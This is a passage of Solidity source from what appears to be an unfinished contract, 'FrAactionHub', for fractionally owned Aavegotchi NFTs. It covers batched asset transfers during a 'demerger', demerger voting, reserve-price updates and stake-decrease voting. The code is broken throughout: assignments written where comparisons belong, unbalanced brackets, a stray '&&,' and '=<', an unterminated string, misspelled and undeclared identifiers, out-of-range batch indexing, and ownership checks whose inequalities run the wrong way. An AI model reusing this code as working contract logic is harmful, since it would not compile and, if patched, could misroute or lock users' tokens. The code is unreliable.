endIndex = maxRealmsArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (realmsId.length % maxRealmsArrayLength > 0) {
multiple = realmsId.length / maxRealmsArrayLength + 1;
} else {
multiple = realmsId.length / maxRealmsArrayLength;
}
split = 1;
splitCounter++;
}
}
} else {
if (realmsId.length % maxRealmsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxRealmsArrayLength + 1;
endIndex = realmsId.length;
} else {
startIndex = splitCounter * maxRealmsArrayLength + 1;
endIndex = (splitCounter + 1) * maxRealmsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredRealms(transferTo);
}
if (_endIndex > realmsId.length) _endIndex = realmsId.length;
if (_startIndex > realmsId.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
for (uint i = _startIndex; i < _endIndex; i++) {
batchIds[i] = realmsId[i];
}
RealmsInterface(realmsContract).safeBatchTransfer(address(this), target, batchIds, new bytes(0));
}
function transferNfts() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedNfts[votedIndexNfts[votedIndex].length;
} else {
arrayLength = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this)).length;
}
uint256[] memory nftsIds = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
nftIds = votedNfts[votedIndexNfts[votedIndex]];
} else {
nftIds = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
}
uint256 startIndex;
uint256 endIndex = nftsIds.length;
if (split == 0) {
maxNftArrayLength = ISettings(settingsContract).maxNftArrayLength();
if (nftIds.length > maxNftArrayLength) {
endIndex = maxNftArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (nftIds.length % maxNftArrayLength > 0) {
multiple = nftIds.length / maxNftArrayLength + 1;
} else {
multiple = nftIds.length / maxNftArrayLength;
}
split = 2;
splitCounter++;
}
}
} else {
if (nftIds.length % maxNftArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxNftArrayLength + 1;
endIndex = nftIds.length;
} else {
startIndex = splitCounter * maxNftArrayLength + 1;
endIndex = (splitCounter + 1) * maxNftArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredNfts(target);
}
if (endIndex > nftIds.length) endIndex = nftIds.length;
if (startIndex > nftIds.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
for (uint i = startIndex; i < endIndex; i++) {
batchIds[i] = nftIds[i];
}
DiamondInterface(diamondContract).safeBatchTransferFrom(address(this), target, batchIds, new bytes(0));
}
function transferItems() internal {
require(
msg.sender == target,
"transferItems: caller not approved"
);
require(
mergerStatus == MergerStatus.ACTIVE ||
demergerStatus == DemergerStatus.ACTIVE,
"transferItems: merger, transfer or demerger not active"
);
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedItemsDemerger[votedIndexItems[votedIndex]].length;
} else {
ItemIdIO[] memory items = DiamondInterface(diamondContract).itemBalances(this.address);
arrayLength = items.length;
}
ItemIdIO[] memory items = new ItemIdIO[](arrayLength);
uint256[] memory ids = new uint256[](arrayLength);
uint256[] memory quantities = new uint256[](arrayLength);
uint256 startIndex;
uint256 endIndex = arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
ids = votedItems[votedIndexItems[votedIndex]];
quantities = votedItemsQuantity[votedIndexItemsQuantity[votedIndex]];
endIndex = ids.length;
} else {
items = DiamondInterface(diamondContract).itemBalances(this.address);
endIndex = items.length;
}
if (split == 0) {
maxItemsArrayLength = ISettings(settingsContract).maxItemsArrayLength();
if (arrayLength > maxItemsArrayLength) {
endIndex = maxItemsArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (arrayLength % maxItemsArrayLength > 0) {
multiple = arrayLength / maxItemsArrayLength + 1;
} else {
multiple = arrayLength / maxItemsArrayLength;
}
split = 3;
splitCounter++;
}
}
{
bool exist;
uint256[] memory idsTickets = new uint256[](7);
uint256[] memory quantityTickets = new uint256[](7);
if (demergerStatus == DemergerStatus.ACTIVE) {
quantityTickets = votedTicketsQuantity[votedIndexTicketsQuantity[votedIndex]];
} else {
quantityTickets = DiamondInterface(stakingContract).balanceOfAll(this.address);
}
for (uint i = 0; i < idsTickets.length; i++) {
idsTickets[i] = i;
if (exist == false) {
if (quantityTickets[i] > 0) exist = true;
}
}
if (exist == true) {
IERC1155Upgradeable(stakingContract).safeBatchTransferFrom(address(this), target, idsTickets, quantityTickets, new bytes(0));
}
}
} else {
if (ids.length % maxItemsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxItemsArrayLength + 1;
endIndex = ids.length;
} else {
startIndex = splitCounter * maxItemsArrayLength + 1;
endIndex = (splitCounter + 1) * maxItemsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredItems(target);
}
if (endIndex > ids.length) endIndex = ids.length;
if (startIndex > ids.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
uint256[] memory batchQuantities = new uint256[](endIndex - startIndex + 1);
for (uint i = startIndex; i < endIndex; i++) {
if (mergerStatus = MergerStatus.ACTIVE) {
batchIds[i] = items[i].itemId;
batchQuantities[i] = items[i].balance;
} else {
batchIds[i] = ids[i];
batchQuantities[i] = quantities[i];
}
}
IERC1155Upgradeable(stakingContract).safeBatchTransferFrom(address(this), target, batchIds, batchQuantities, new bytes(0));
}
function transferExternalErc20() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExtErc20[votedIndexExtErc20[votedIndex]].length;
} else {
arrayLength = erc20Tokens.length;
}
uint256[] memory erc20Address = new uint256[](arrayLength);
uint256[] memory erc20Value = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
erc20Value = votedExtErc20Value[votedIndexExtErc20[votedIndex]];
erc20Address = votedExtErc20Address[votedIndexExtErc20Address[votedIndex]];
} else {
for (uint i = 0; i < erc20Tokens.length; i++) {
erc20Value = ownedErc20[erc20Tokens[i]];
}
erc20Address = erc20Tokens;
}
uint256 startIndex;
uint256 endIndex = erc20Value.length;
if (split == 0) {
maxExtErc20ArrayLength = ISettings(settingsContract).maxExtErc20ArrayLength();
if (erc20Value.length > maxExtErc20ArrayLength) {
endIndex = maxExtErc20ArrayLength;
if (erc20Value.length % maxExtErc20ArrayLength > 0) {
multiple = erc20Value.length / maxExtErc20ArrayLength + 1;
} else {
multiple = erc20Value.length / maxExtErc20ArrayLength;
}
split = 6;
splitCounter++;
}
} else {
if (erc20Value.length % maxExtErc20ArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtErc20ArrayLength + 1;
endIndex = erc20Value.length;
} else {
startIndex = splitCounter * maxExtErc20ArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtErc20ArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExtErc20(target);
}
if (endIndex > erc20Value.length) endIndex = erc20Value.length;
if (startIndex > erc20Value.length) return;
uint256 assetCounter;
address replace;
for (uint i = startIndex; i < endIndex; i++) {
try LibERC20.transferFrom(erc20Address[i], addresse(this), target, erc20Value[i]) {
ownedErc20[erc20Address[i]] -= erc20Value[i];
if (ownedErc20[erc20Address[i]] == 0 && demergerStatus == DemergerStatus.ACTIVE) {
replace = erc20Tokens[erc20Tokens.length - 1];
erc20Tokens[erc20Index[erc20Address[i]]] = replace;
erc20Index[replace] = erc20Index[erc20Address[i]];
delete erc20Index[erc20Address[i]];
erc20Tokens.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete erc20Index[erc20Address[i]];
} catch {
nonTransferredAssets++;
emit NonTransferredErc20(erc20Address[i], erc20Value[i]);
}
}
if (mergerStatus == MergerStatus.ACTIVE) extAssetsTansferred += assetCounter;
}
function transferExternalNfts() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExtNfts[votedIndexExtNfts[votedIndex].length;
} else {
arrayLength = nfts.length;
}
uint256[] memory nftsAddress = new uint256[](arrayLength);
uint256[] memory nftsId = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
nftsId = votedExtNfts[votedIndexExtNfts[votedIndex]];
nftsAddress = votedExtNftsAddress[votedIndexExtAddress[votedIndex]];
} else {
for (uint i = 0; i < nfts.length; i++) {
nftsId = nfts[i].id;
}
nftsAddress = nfts;
}
uint256 startIndex;
uint256 endIndex = nftsId.length;
if (split == 0) {
maxExtNftArrayLength = ISettings(settingsContract).maxExtNftArrayLength();
if (nftsId.length > maxExtNftArrayLength) {
endIndex = maxExtNftArrayLength;
if (nftsId.length % maxExtNftArrayLength > 0) {
multiple = nftsId.length / maxExtNftArrayLength + 1;
} else {
multiple = nftsId.length / maxExtNftArrayLength;
}
split = 4;
splitCounter++;
}
} else {
if (nftsId.length % maxExtNftArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtNftArrayLength + 1;
endIndex = nftsId.length;
} else {
startIndex = splitCounter * maxExtNftArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtNftArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExtNfts(target);
}
if (endIndex > nftsId.length) endIndex = nftsId.length;
if (startIndex > nftsId.length) return;
uint256 assetCounter;
address replace;
for (uint i = startIndex; i < endIndex; i++) {
try IERC721Upgradeable(nftsAddress[i]).safeTransferFrom(address(this), target, nftsId[i]) {
delete ownedNfts[nftAddress[i]][nftsId[i]];
if (demergerStatus == DemergerStatus.ACTIVE) {
replace = nfts[nfts.length - 1];
nfts[nftsIndex[nftsAddress[i]]] = replace;
nftsIndex[replace] = nftsIndex[nftsAddress[i]];
delete nftsIndex[nftsAddress[i]];
nfts.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete nftsIndex[nftsAddress[i]];
} catch {
nonTransferredAssets++;
emit NonTransferredNfts(nftsAddress[i], nftsId[i]);
}
}
}
function transferExternal1155() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExt1155Transfer[votedIndexExt1155[votedIndex]].length;
} else {
arrayLength = erc1155Tokens.length;
}
uint256[] memory ids1155 = new uint256[](arrayLength);
uint256[] memory quantity1155 = new uint256[](arrayLength);
address[] memory address1155 = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
ids1155 = votedExt1155[votedIndexExt1155[votedIndex]];
quantity1155 = votedExt1155Quantity[votedIndexExt1155Quantity[votedIndex]];
address1155 = votedExt1155Address[votedIndexExt1155Address[votedIndex]];
} else {
for (uint i = 0; i < erc1155Tokens.length; i++) {
ids1155 = erc1155Tokens[i].id;
quantity1155 = erc1155Tokens[i].quantity;
}
address1155 = erc1155Tokens;
}
uint256 startIndex;
uint256 endIndex = ids1155.length;
if (split == 0) {
maxExt1155ArrayLength = ISettings(settingsContract).maxExt1155ArrayLength();
if (ids1155.length > maxExtItemsArrayLength) {
endIndex = maxExtItemsArrayLength;
if (ids1155.length % maxExtItemsArrayLength > 0) {
multiple = ids1155.length / maxExtItemsArrayLength + 1;
} else {
multiple = ids1155.length / maxExtItemsArrayLength;
}
split = 5;
splitCounter++;
}
} else {
if (ids1155.length % maxExtItemsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtItemsArrayLength + 1;
endIndex = ids1155.length;
} else {
startIndex = splitCounter * maxExtItemsArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtItemsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExt1155(target);
}
if (endIndex > ids1155.length) endIndex = ids1155.length;
if (startIndex > ids1155.length) return;
uint256 assetCounter;
for (uint i = startIndex; i < endIndex; i++) {
if (address1155[i] == address(0)) continue;
uint256 redundancyCounter;
redundancyCounter++;
address replace;
uint256[] memory indexRedundancy = new indexRedundancy[](endIndex - startIndex + 1);
for (uint j = i + 1; j < endIndex; j++) {
if (address1155[j] == address(0)) continue;
if (address1155[i] == address1155[j]) {
ownedErc1155[address1155[j]][ids1155[j]] -= quantity1155[j];
if (demergerStatus == DemergerStatus.ACTIVE && ownedErc1155[address1155[j]][ids1155[j]] == 0) {
erc1155Tokens[j] = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens.pop();
replace = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens[erc1155Index[address1155[i]]] = replace;
erc1155Index[replace] = erc1155Index[address1155[j]];
delete nftsIndex[address1155[j]];
erc1155Tokens.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete erc1155Index[address1155[i]];
indexRedundancy[redundancyCounter] = j;
delete address1155[j];
redundancyCounter++;
}
uint256 indexCounter;
uint256[] memory batchIds = new uint256[](redundancyCounter);
uint256[] memory batchQuantity = new uint256[](redundancyCounter);
batchIds[indexCounter] = ids1155[i];
batchQuantity[indexCounter] = quantity1155[i];
indexCounter++;
for (uint k = 1; k < redundancyCounter; k++) {
batchIds[indexCounter] = ids1155[indexRedundancy[k]];
batchQuantity[indexCounter] = quantity1155[indexRedundancy[k]];
indexCounter++;
}
try IERC1155Upgradeable(address1155[i]).safeBatchTransferFrom(address(this), target, batchIds, batchQuantity, new bytes(0)) {
ownedErc1155[address1155[i]][ids1155[i]] -= quantity1155[i];
if (demergerStatus == DemergerStatus.ACTIVE && ownedErc1155[address1155[i]][ids1155[i]] == 0) {
erc1155Tokens[i] = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens.pop();
replace = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens[erc1155Index[address1155[i]]] = replace;
erc1155Index[replace] = erc1155Index[address1155[i]];
delete nftsIndex[address1155[i]];
erc1155Tokens.pop();
}
} catch {
nonTransferredAssets += redundancyCounter;
emit NonTransferredErc1155(address1155[i], batchIds, batchQuantity);
}
redundancyCounter = 0;
}
}
}
function voteForDemerger(
uint256[] calldata _nftsId,
uint256[] calldata _extNftsId,
uint256[] calldata _ext1155Id,
uint256[] calldata _realmsId,
uint256[] calldata _itemsId,
uint256[] calldata _itemsQuantity,
uint256[] calldata _extErc20Value,
uint256[] calldata _ext1155Quantity,
uint256[7] calldata _ticketsQuantity,
address[] calldata _extErc20Address,
address[] calldata _extNftsAddress,
address[] calldata _ext1155Address,
uint256 _idToVoteFor,
string calldata _name,
string calldata _symbol
) external nonReentrant {
require(
fundingStatus == FundingStatus.INACTIVE,
"voteForDemerger: FrAactionHub not fractionalized yet"
);
require(
balanceOf(msg.sender) > 0,
"voteForDemerger: user not an owner of the FrAactionHub"
);
require(
demergerStatus == DemergerStatus.INACTIVE,
"voteForDemerger: user not an owner of the FrAactionHub"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"voteForDemerger: active merger"
);
require(
_itemsId.length == _itemsQuantity.length &&
_extNftsId.length == _extNftsAddress.length &&
_ext1155Id.length == _ext1155Address.length &&
_ext1155Address.length == _ext1155Quantity.length &&,
"voteForDemerger: input arrays lengths are not matching"
);
require(
_nftsId.length +
_realmsId.length +
_itemsId.length +
_itemsQuantity.length +
_ticketsQuantity.length +
_extNftsId.length +
_extNftsAddress.length +
_ext1155Id.length +
_ext1155Quantity.length +
_ext1155Address.length +
=< ISettings(settingsContract).MaxTransferLimit(),
"voteForDemerger: cannot transfer more than the GovSettings allowed limit"
);
if (_nftsId.length > 0 ||
_realmsId.length > 0 ||
_itemsId.length > 0 ||
_ticketsId.length > 0 ||
_extNftsId.length > 0 ||
_ext1155Id.length > 0
) {
require(
_idToVoteFor == votedIndex,
"voteFordemerger: user submitting a new demerger has to vote for it"
);
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
votedIndex++;
}
if (votersDemerger[msg.sender][_idToVoteFor] == true) {
if (balanceOf(msg.sender) != currentDemergerBalance[msg.sender][_idToVoteFor])
votesTotalDemerger[_idToVoteFor] -= currentDemergerBalance[msg.sender][_idToVoteFor];
} else {
votersDemerger[msg.sender][_idToVoteFor] = true;
}
if (_name != "" && _symbol != "") {
if (demergerName[_idToVoteFor] == "" && demergerSymbol[_idToVoteFor] == "") {
demergerName[_idToVoteFor] = _name;
demergerSymbol[_idToVoteFor] = _symbol;
}
}
if (balanceOf(msg.sender) != currentDemergerBalance[msg.sender][_idToVoteFor]) {
votesTotalDemerger[_idToVoteFor] += balanceOf(msg.sender);
currentDemergerBalance[msg.sender][_idToVoteFor] = balanceOf(msg.sender);
}
if (votesTotalDemerger[_idToVoteFor] * 1000 >= ISettings(settingsContract).minDemergerVotePercentage() * totalSupply()) {
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
false
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
false
);
address fraactionFactoryContract = ISettings(settingsContract).fraactionFactoryContract();
(bool success, bytes memory returnData) =
fraactionFactoryContract.call(
abi.encodeWithSignature(
"startFraactionHub(
string,
string,
address
)",
demergerName[_idToVoteFor],
demergerSymbol[_idToVoteFor],
address(this)
)
);
require(
success,
string(
abi.encodePacked(
"voteForDemerger: mergerFrom order failed: ",
returnData
)
)
);
target = abi.decode(returnData, (address));
votedIndex = _idToVoteFor;
demergerStatus = DemergerStatus.ACTIVE;
emit DemergerActive(target, demergerName[_idToVoteFor], demergerSymbol[_idToVoteFor]);
claimReward(msg.sender);
}
}
function demergeTo() external nonReentrant {
require(
demergerStatus == DemergerStatus.ACTIVE,
"demergeTo: demerger not active"
);
if (!realmsTransferred || split = 1) {
transferRealms();
if (split == 0) realmsTransferred = true;
} else if (!nftsTransferred || split = 2) {
transferNfts();
if (split == 0) nftsTransferred = true;
} else if (!itemsTransferred || split = 3) {
transferItems();
if (split == 0) itemsTransferred = true;
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
demergerStatus = DemergerStatus.INACTIVE;
FraactionInterface(target).confirmDemerger();
realmsTransferred = false;
nftsTransferred = false;
itemsTransferred = false;
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
DemergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
}
function finalizeDemerger() external nonReentrant {
require(
demergerStatus == DemergerStatus.ASSETSTRANSFERRED,
"finalizeDemerger: demerger assets not transferred yet"
);
address[] memory ownersFrom = FraactionInterface(target).getOwners();
uint256 startIndex = 0;
uint256 endIndex = ownersFrom.length;
if (split == 0) {
maxOwnersArrayLength = ISettings(settingsContract).maxOwnersArrayLength();
if (ownersFrom.length > maxOwnersArrayLength) {
if (ownersFrom.length % maxOwnersArrayLength > 0) {
multiple = ownersFrom.length / maxOwnersArrayLength + 1;
} else {
multiple = ownersFrom.length / maxOwnersArrayLength;
}
split = 7;
splitCounter++;
}
endIndex = maxOwnersArrayLength;
} else {
if (ownersFrom.length % maxOwnersArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = ownersFrom.length;
} else {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = (splitCounter + 1) * maxOwnersArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
demergerStatus = DemergerStatus.INACTIVE;
target = address(0);
emit DemergerFinalized(target);
}
if (endIndex > ownersFrom.length) endIndex = ownersFrom.length;
if (startIndex > ownersFrom.length) return;
bool existing;
for (uint i = startIndex; i < endIndex; i++) {
ownersAddress.push(ownersFrom[i]);
mint(
ownersFrom[i],
FraactionInterface(target).balanceOf(ownersFrom[i])
);
}
claimReward(msg.sender);
}
function confirmDemerger() external {
require(
msg.sender == target,
"confirmDemerger: caller is not the demerger parent contract"
);
require(
demergerStatus == DemergerStatus.ACTIVE,
"confirmDemerger: demerger is not active
);
demergerStatus = DemergerStatus.ASSETSTRANSFERRED;
DemergerAssetsTransferred(address(this));
}
function ownershipCheck(
uint256[] memory _nftsId,
uint256[] memory _realmsId,
uint256[] memory _itemsId,
uint256[] memory _itemsQuantity,
uint256[7] memory _ticketsQuantity,
bool _saveParams
) internal {
uint256 counterOwned;
if (_nftsId.length > 0) {
uint32[] memory nftsId = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
for (uint i = 0; i < _nftsId.length; i++) {
for (uint j = 0; j < nftsId.length; j++) {
if (_nftsId[i] == nftsId[j]) {
counterOwned++;
break;
}
}
}
}
if (_realmsId.length > 0) {
uint32[] memory realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
for (uint i = 0; i < _realmsId.length; i++) {
for (uint j = 0; j < realmsId.length; j++) {
if (_realmsId[i] == realmsId[j]) {
counterOwned++;
break;
}
}
}
}
if (_itemsId.length > 0) {
ItemIdIO[] memory balance = DiamondInterface(diamondContract).itemBalances(address(this));
for (uint i = 0; i < _itemsId.length; i++) {
require(
_itemsQuantity[i] > 0,
"ownershipCheck: invalid item quantity"
);
for (uint j = 0; j < balance.length; j++) {
if (_itemsId[i] == balance[j].itemId) {
require(
_itemsQuantity[i] <= balance[j].balance,
"ownershipCheck: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
break;
}
}
}
}
if (_ticketsQuantity.length > 0) {
bool check;
uint256[] memory ticketsCurrentQuantity = DiamondInterface(stakingContract).balanceOfAll(address(this));
for (uint i = 0; i < _ticketsQuantity.length; i++) {
if (_ticketsQuantity[i] == 0) check = true;
require(
_ticketsQuantity[i] <= ticketsCurrentQuantity[i],
"ownershipCheck: proposed tickets quantities have to be equal or inferior to the owned tickets quantities"
);
counterOwned++;
}
require(
!check,
"ownershipCheck: a ticket quantity has to be provided"
);
}
require(
counterOwned == _nftsId.length + _realmsId.length + _itemsId.length + _ticketsQuantity.length,
"ownershipCheck: one token or more is not owned by the FrAactionHub"
);
if (_saveParams) {
if (_nftsId.length > 0) {
votedIndexNfts[votedIndex] = votedNfts.length;
votedNfts.push(_nftsId);
}
if (_realmsId.length > 0) {
votedIndexRealms[votedIndex] = votedRealms.length;
votedRealms.push(_realmsId);
}
if (_itemsId.length > 0) {
votedIndexItems[votedIndex] = votedItems.length;
votedItems.push(_itemsId);
votedIndexItemsQuantity[votedIndex] = votedItemsQuantity.length;
votedItemsQuantity.push(_itemsQuantity);
}
if (_ticketsQuantity.length > 0) {
votedIndexTicketsQuantity[votedIndex] = votedTicketsQuantity.length;
votedTicketsQuantity.push(_ticketsQuantity);
}
}
}
function ownershipCheckExt(
uint256[] memory _extNftsId,
uint256[] memory _ext1155Id,
uint256[] memory _extErc20Value,
uint256[] memory _ext1155Quantity,
address[] memory _extErc20Address,
address[] memory _extNftsAddress,
address[] memory _ext1155Address,
bool _saveParams
) internal {
uint256 counterOwned;
if (_extNftsId.length > 0) {
for (uint i = 0; i < _extNftsId.length; i++) {
require(
_extNftsAddress[i] != address(0),
"ownershipCheckExt: invalid NFT address"
);
if (ownedNfts[_extNftsAddress[i]][_extNftsId[i]] == true) counterOwned++;
}
}
if (_extErc20Value.length > 0) {
for (uint i = 0; i < _extErc20Value.length; i++) {
require(
_extErc20Value[i] > 0 && _extErc20Address[i] != address(0),
"ownershipCheckExt: invalid item quantity or address"
);
require(
ownedErc20[_extErc20Address[i]] <= _extErc20Value[i],
"ownershipCheckExt: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
}
}
if (_ext1155Id.length > 0) {
for (uint i = 0; i < _ext1155Id.length; i++) {
require(
_ext1155Quantity[i] > 0 && _ext1155Address[i] != address(0),
"ownershipCheckExt: invalid item quantity or address"
);
require(
ownedErc1155[_ext1155Address[i]][_ext1155Id[i]] <= _ext1155Quantity[i],
"ownershipCheckExt: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
}
}
require(
counterOwned == _extErc20Value.length + _extNftsId.length + _ext1155Id.length,
"ownershipCheckExt: one token or more is not owned by the FrAactionHub"
);
}
if (_saveParams) {
if (_extErc20Value.length > 0) {
votedIndexExtErc20Value[votedIndex] = votedExtErc20Value.length;
votedExtErc20Value.push(_extErc20Value);
votedIndexExtErc20Address[votedIndex] = votedExtErc20Address.length;
votedExtErc20Address.push(_extErc20Address);
}
if (_extNftsId.length > 0) {
votedIndexExtNfts[votedIndex] = votedExtNfts.length;
votedExtNfts.push(_extNftsId);
votedIndexExtAddress[votedIndex] = votedExtAddress.length;
votedExtAddress.push(_extNftsAddress);
}
if (_ext1155Id.length > 0) {
votedIndexExt1155[votedIndex] = votedExt1155.length;
votedExt1155.push(_ext1155Id);
votedIndexExt1155Quantity[votedIndex] = votedExt1155Quantity.length;
votedExt1155Quantity.push(_ext1155Quantity);
votedIndexExt1155Address[votedIndex] = votedExt1155Address.length;
votedExt1155Address.push(_ext1155Address);
}
}
}
/// @notice a function for an end user to update their desired sale price
/// @param _new the desired price in GHST
function updateUserPrice(uint256 _new) external {
require(
balanceOf(msg.sender) > 0,
"updateUserPrice: user not an owner of the FrAactionHub"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"updatePrice: auction live cannot update price"
);
require(
initialized == true,
"updatePrice: FrAactionHub not fractionalized yet"
);
uint256 old = userPrices[msg.sender];
require(
_new != old,
"updatePrice:not an update"
);
uint256 weight = balanceOf(msg.sender);
if (votingTokens == 0) {
votingTokens = weight;
reserveTotal = weight * _new;
}
// they are the only one voting
else if (weight == votingTokens && old != 0) {
reserveTotal = weight * _new;
}
// previously they were not voting
else if (old == 0) {
uint256 averageReserve = reserveTotal / votingTokens;
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"update:reserve price too high"
);
votingTokens += weight;
reserveTotal += weight * _new;
}
// they no longer want to vote
else if (_new == 0) {
votingTokens -= weight;
reserveTotal -= weight * old;
}
// they are updating their vote
else {
uint256 averageReserve = (reserveTotal - (old * weight)) / (votingTokens - weight);
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"updatePrice:reserve price too high"
);
reserveTotal = reserveTotal + (weight * _new) - (weight * old);
}
userPrices[msg.sender] = _new;
emit PriceUpdate(msg.sender, _new);
}
/// @notice an external function to decrease an Aavegotchi staked collateral amount
function voteForStakeDecrease(uint256 _tokenId, uint256 _stakeAmount) external nonReentrant {
require(
balanceOf(msg.sender) > 0,
"VoteForStakeDecrease: user not an owner of the FrAactionHub"
);
require(
_stakeAmount < DiamondInterface(diamondContract).collateralBalance(_tokenId).balance_,
"VoteForStakeDecrease: stake amount greater than the total contributed amount"
);
require(
_stakeAmount > 0,
"VoteForStakeDecrease: staked amount must be greater than 0"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"VoteForStakeDecrease: an auction is live"
);
require(
_stakeAmount < DiamondInterface(diamondContract).getAavegotchi(_tokenId).minimumStake,
"VoteForStakeDecrease: amount has to be lower than the minimum stake"
);
if (decreaseNumber[_tokenId][_stakeAmount] != decreaseCurrentNumber[msg.sender][_tokenId][_stakeAmount]) {
votersDecrease[msg.sender][_tokenId][_stakeAmount] = 0;
currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount] = 0;
}
votesTotalDecrease[_tokenId][_stakeAmount] += balanceOf(msg.sender) - currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount];
currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount] = balanceOf(msg.sender);
if (decreaseStaking[_tokenId][_stakeAmount] == 0) decreaseStaking[_tokenId][_stakeAmount] = _stakeAmount;
if (decreaseNumber != decreaseCurrentNumber[msg.sender]) decreaseCurrentNumber[msg.sender][_tokenId][_stakeAmount] = decreaseNumber;
if (votesTotalDecrease[_tokenId][_stakeAmount] * 1000 >= ISettings(settingsContract).minDecreaseVotePercentage() * totalSupply()) {
address collateral = DiamondInterface(diamondContract).collateralBalance(_tokenId).collateralType_;
(bool success, bytes memory returnData) =
diamondContract.call(
abi.encodeWithSignature("decreaseStake(uint256,uint256)",
_tokenId,
decreaseStaking[_tokenId]
)
);
require(
success,
string(
abi.encodePacked(
"VoteForStakeDecrease: staking order failed: ",
returnData
)
)
);
redeemedCollateral[collateral].push(decreaseStaking[_tokenId][_stakeAmount]);
if (collateralToRedeem[collateral] == 0) {
collateralToRedeem[collateral] = true;
collateralAvailable.push(collateral);
}
decreaseStaking[_tokenId][_stakeAmount] = 0;
emit StakeDecreased(
_tokenId,
decreaseStaking[_tokenId][_stakeAmount]
);
claimed[_contributor] = false;
if (allClaimed == true) allClaimed = false;
}
}
/// @notice a function to vote for opening an already purchased and closed portal
